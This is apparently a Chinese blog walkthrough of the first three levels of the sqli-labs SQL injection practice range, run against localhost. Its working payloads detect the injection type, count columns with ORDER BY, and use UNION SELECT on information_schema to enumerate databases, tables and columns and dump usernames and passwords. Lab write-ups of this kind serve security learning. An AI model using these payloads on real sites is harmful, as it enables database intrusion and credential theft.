sqli-labs通关笔记

sql-labs是练习sql注入的优质靶场,其中包含各种各样注入姿势,通过这篇文章记录一下各种技巧。

Basic Challenges

Less-1

经过尝试,存在报错,可以判断为字符型注入,闭合方式为 ' 

 

首先使用 order by 判断一下字段数,有报错信息可以知道,存在3个字段。

http://127.0.0.1:3000/Less-1/?id=1' order by 4--+

 

 

 接下来结合联合查询,查都有哪些数据库:

http://127.0.0.1:3000/Less-1/?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+

 

查询当前数据库:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,database() --+

 

查表:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查字段:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查数据:

http://127.0.0.1:3000/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

 

Less-2

 确定注入类型为数值型,所以不用加引号,直接使用 id=1。剩余步骤和 LESS1 相同。

http://127.0.0.1:3000/Less-2/?id=-1 order by 4 --+

 最终payload为:

http://127.0.0.1:3000/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

 

Less-3

首先也是判断注入变量类型。' 会报错," 和 ()都没有报错,所以猜测SQL语句为 $SQL = "select * from database where id= ('$id') LIMIT 0,1" 这样的形式 。

 

确定好变量形式之后就是常规的查库、查表、查字段了。和前面基本一样,最终payload为:

http://127.0.0.1:3000/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

 

 

 

 

posted @ 2021-03-29 17:26  s1awwhy  阅读(1267)  评论(0编辑  收藏  举报